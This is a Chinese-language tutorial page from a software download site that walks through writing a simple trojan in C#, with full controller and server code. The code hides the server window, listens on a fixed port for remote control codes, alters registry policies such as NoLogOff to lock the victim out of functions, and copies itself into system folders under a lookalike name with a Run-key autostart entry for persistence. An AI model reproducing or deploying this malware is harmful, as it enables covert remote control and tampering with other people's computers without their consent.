西西軟件園多重安全檢測(cè)下載網(wǎng)站、值得信賴(lài)的軟件下載站!
軟件
軟件
文章
搜索

首頁(yè)編程開(kāi)發(fā)C#.NET → 用C#實(shí)現(xiàn)簡(jiǎn)單木馬程序

用C#實(shí)現(xiàn)簡(jiǎn)單木馬程序

相關(guān)軟件相關(guān)文章發(fā)表評(píng)論 來(lái)源:西西整理時(shí)間:2011/4/5 15:22:44字體大小:A-A+

作者:佚名點(diǎn)擊:340次評(píng)論:53次標(biāo)簽: 木馬

  • 類(lèi)型:Android平臺(tái)大。22KB語(yǔ)言:中文 評(píng)分:6.6
  • 標(biāo)簽:
立即下載
用C#實(shí)現(xiàn)木馬程序
因?yàn)楸疚氖翘接懩抉R程序,所以在介紹之前有一些木馬構(gòu)成的基本知識(shí)事先說(shuō)明。一個(gè)完整的木馬系統(tǒng)由硬件部分,軟件部分和具體連接部分組成。這里主要對(duì)軟件部分介紹,它主要有控制端程序、木馬程序(后臺(tái)服務(wù)程序)、木馬配制程序組成。控制端用以遠(yuǎn)程控制服務(wù)端的程序;木馬程序是潛入服務(wù)端內(nèi)部,獲取其操作權(quán)限的程序;木馬配制程序是設(shè)置木馬程序的端口號(hào),觸發(fā)條件,木馬名稱(chēng)等,使其在服務(wù)端藏的更隱蔽的程序。

使用的技術(shù):控制端程序發(fā)送控制碼控制服務(wù)器,服務(wù)器后臺(tái)運(yùn)行,修改注冊(cè)表達(dá)到控制的目的。技術(shù)不是很難的,主要體現(xiàn)C#的網(wǎng)絡(luò)編程和注冊(cè)表的修改。

控制端開(kāi)發(fā):
控制端向服務(wù)器發(fā)出一段控制碼,服務(wù)端(木馬程序)收到控制碼后,根據(jù)控制的要求,完成指定的要求,如果服務(wù)器完成工作,返回成功的信息。

控制端的開(kāi)發(fā):

控制碼的設(shè)定你可以自已設(shè)定,不需要詳解,主要有以下幾個(gè)難點(diǎn)。
1、連接請(qǐng)求

使用了.NET類(lèi)中的 System.Net.Sockets.TcpClient類(lèi),
TcpClient(string hostname,int port)
Hostname 是要控制的主機(jī)名稱(chēng),當(dāng)然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件數(shù)據(jù)類(lèi)的基類(lèi)
private void button7_Click(object sender, System.EventArgs e)
{
//記錄操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("請(qǐng)求連接" +textBox1.Text +" ");
int port =6678;
try
{
//初始化 TcpClient 類(lèi)的新實(shí)例并連接到指定主機(jī)上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服務(wù)器不在線(xiàn)!確定是否輸入主機(jī)名稱(chēng).");
richTextBox1.AppendText("服務(wù)器不在線(xiàn)!確定是否輸入主機(jī)名稱(chēng).");
}
}//private void buttion

2、測(cè)試是否與被控制機(jī)連接上。程序的流程是發(fā)送控制碼看控制端是否有反應(yīng),如果有返回則顯示控制成功。 //提供網(wǎng)絡(luò)訪(fǎng)問(wèn)的數(shù)據(jù)流

//private NetworkStream stream;
代碼如下:
private void button8_Click(object sender, System.EventArgs e)
{
//紀(jì)錄操作
richTextBox1.AppendText("測(cè)試連接" +" ");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
//發(fā)送控制碼
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//啟動(dòng)接收反回?cái)?shù)據(jù)的線(xiàn)程
//receive是線(xiàn)程執(zhí)行的函數(shù),見(jiàn)后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+" ");
MessageBox.Show(ee.Message);
}
}
3、控制生效的代碼

private void button9_Click(object sender, System.EventArgs e)
{
//這里是確定要發(fā)送的控制碼,RadioButton是窗體控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你沒(méi)有輸入任何控制目標(biāo)!不發(fā)控制信號(hào)");
richTextBox1.AppendText("你沒(méi)有輸入任何控制目標(biāo)!不發(fā)控制信號(hào)");
}
else if(control != "000000")
{
try
{
//記錄操作
richTextBox1.AppendText (control + "正在試圖控制,等待回應(yīng)......" + " ");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服務(wù)器未連接1控制無(wú)效!" +" ");
MessageBox.Show("服務(wù)器未連接1控制無(wú)效!" +" ");
}
}//else if
}

4、線(xiàn)程執(zhí)行的函數(shù)
private void receive()
{
//設(shè)置讀取數(shù)據(jù)的空間
byte[] bb = new byte[3];
//讀取3個(gè)字節(jié),i為實(shí)際讀取的字節(jié)數(shù)
int i = stream.Read(bb,0,3);
//轉(zhuǎn)換成字符串,如果是中文控制碼則用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc為我設(shè)置的服務(wù)器的返回碼 hjc為連接成功,hkz為控制成功
if(ss=="hjc")
{
MessageBox.Show("連接成功");
richTextBox1.AppendText("連接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +"控制成功"+" ");
MessageBox.Show(control +"控制成功"+" ");
}
}

服務(wù)端的開(kāi)發(fā):

要實(shí)現(xiàn)木馬服務(wù)的程序,主要實(shí)現(xiàn)以下幾個(gè)功能:后臺(tái)的運(yùn)行(隱藏技術(shù)),控制碼的接收與注冊(cè)表的修改,下面對(duì)這三方面做介紹:

1、在VC#中,建立一個(gè)后臺(tái)服務(wù)程序是很容易的,先建立一個(gè)新的C#的Windows應(yīng)用程序,項(xiàng)目名稱(chēng)自定(不過(guò)為了隱藏可使用與系統(tǒng)相近的名稱(chēng)),將窗體屬性“ShowInTaskbar”屬性設(shè)為false,讓它運(yùn)行時(shí)不會(huì)在任務(wù)欄中顯示,并將屬性“Windowstate”屬性設(shè)為 Mininized即可,這樣窗體就可以隱藏運(yùn)行了。當(dāng)然你也可以在InitializeComponent()設(shè)置,此函數(shù)起初始化的作用,在窗體顯示前運(yùn)行,代碼如下:

private void InitializeComponent()
{
//
// Form1
//
//窗體顯示的起點(diǎn)和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗體名稱(chēng)
this.Name = "Form1";
//設(shè)置屬性讓它后臺(tái)運(yùn)行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2、控制代碼的接收,必需在服務(wù)程序運(yùn)行開(kāi)始就啟動(dòng),所以偵聽(tīng)線(xiàn)程必需在程序初始化中啟動(dòng),所以放在窗體的構(gòu)造函數(shù)中,代碼注解如下:

public Form1() //窗體的構(gòu)造函數(shù)
{
//
// Windows 窗體設(shè)計(jì)器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 調(diào)用后添加任何構(gòu)造函數(shù)代碼
//加入你的偵聽(tīng)代碼
//端口你可以自已設(shè)定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用來(lái)在Tcp網(wǎng)絡(luò)中偵聽(tīng)客戶(hù)端的
listener = new TcpListener(port);
//啟動(dòng)偵聽(tīng)
listener.Start();
//增加接收控制碼的線(xiàn)程,如果要停止線(xiàn)程可以用 Thread.abort()
//reControlCode 是線(xiàn)程啟動(dòng)執(zhí)行的函數(shù),此函數(shù)根據(jù)接收的控制
//控制碼選取合適的注冊(cè)表修改函數(shù)
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函數(shù)如下,完整代碼見(jiàn)程序
private void reControlCode()
{
//設(shè)置接收套接字,接收l(shuí)istener.AcceptSocket是返回已經(jīng)接收的客戶(hù)的請(qǐng)求
socket = listener.AcceptSocket();
//如果連接成功執(zhí)行
while (socket.Connected)
{
//接收控制碼
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根據(jù)控制碼執(zhí)行不同的功能
//修改注冊(cè)表加入編碼
switch (ss)
{
case "jiance"://測(cè)試連接,返回測(cè)試信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注冊(cè)表函數(shù),自已定義,見(jiàn)下面分析
UnLogOff();
//返回控制消息
retMessage();
break;
case "zx0100":
//修改注冊(cè)表函數(shù)
UnClose();
//返回控制消息
retMessage();
break;
//重復(fù)的case功能與前面一樣,略掉
default:
break;
}//case
}//while
} //private void reControlCode
3、C#中實(shí)現(xiàn)注冊(cè)表的修改,使用了.NET類(lèi)庫(kù)中的System.Microsoft.Win32命令空間,它提供兩種類(lèi)型的類(lèi):處理由操作系統(tǒng)引發(fā)的事件的類(lèi)和對(duì)系統(tǒng)注冊(cè)表進(jìn)行操作的類(lèi)。下面就可以看到它的用法。這里我做了一個(gè)修改注冊(cè)表的子程序:使計(jì)算機(jī)不能注銷(xiāo)。在這之前先了解注冊(cè)表,在子鍵SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer

下面設(shè)鍵值NoLogOff 為 1 即可使計(jì)算機(jī)無(wú)法注銷(xiāo)。在下面的函數(shù)中用C#實(shí)現(xiàn)對(duì)注冊(cè)表的修改:

private void UnLogOff()
{
//得到主機(jī)的注冊(cè)表的頂級(jí)節(jié)點(diǎn)
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//設(shè)置一個(gè)注冊(cè)表子鍵的變量
RegistryKey key1;
try
{
//函數(shù)RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵
//registrykey是用戶(hù)指定的鍵值,canwrite 為true則可修改,默認(rèn)為fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//設(shè)置子鍵的鍵名,和值
key1.SetValue ("NoLogOff",1);
//關(guān)閉打開(kāi)的子鍵
key1.Close();
//警告字符串設(shè)定
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請(qǐng)將它置為0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函數(shù)來(lái)建立你需要的子鍵
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer鍵值Nologoff被修改!請(qǐng)將它置為0!";
}
catch{}
}
}

4、在木馬程序中還有一個(gè)重要的功能就是自我的復(fù)制和轉(zhuǎn)移。木馬引入被控制的主機(jī)時(shí)必需自動(dòng)將木馬隱藏在System,System32的目錄下以防被發(fā)現(xiàn)。轉(zhuǎn)移的代碼分析如下,主要實(shí)現(xiàn)的功能是將D盤(pán)下的木馬程序轉(zhuǎn)移到C:\\winnnt\\system\\msdoss.exe,同時(shí)換名稱(chēng)。使用的.NET命名空間System.IO,它的作用是允許對(duì)數(shù)據(jù)流和文件進(jìn)行同步和異步讀寫(xiě)。這里我們使用了System.IO.File類(lèi)。-- -www.bianceng.cn

private void moveCC1()
{
try
{
//函數(shù)File.Move(string sourceFileName,string destFileName)起移動(dòng)文件的作用
//sourceFileName為要移動(dòng)的文件名,destFileName為文件的新路徑
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//將新移的木馬程序設(shè)為自啟動(dòng).分析和前面一樣
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()

到這里一個(gè)簡(jiǎn)單的C#的木馬就完成了。

    相關(guān)評(píng)論

    閱讀本文后您有什么感想? 已有人給出評(píng)價(jià)!

    • 8 喜歡喜歡
    • 3 頂
    • 1 難過(guò)難過(guò)
    • 5 囧
    • 3 圍觀(guān)圍觀(guān)
    • 2 無(wú)聊無(wú)聊

    熱門(mén)評(píng)論

    最新評(píng)論

    發(fā)表評(píng)論 查看所有評(píng)論(53)

    昵稱(chēng):
    表情: 高興 可 汗 我不要 害羞 好 下下下 送花 屎 親親
    字?jǐn)?shù): 0/500 (您的評(píng)論需要經(jīng)過(guò)審核才能顯示)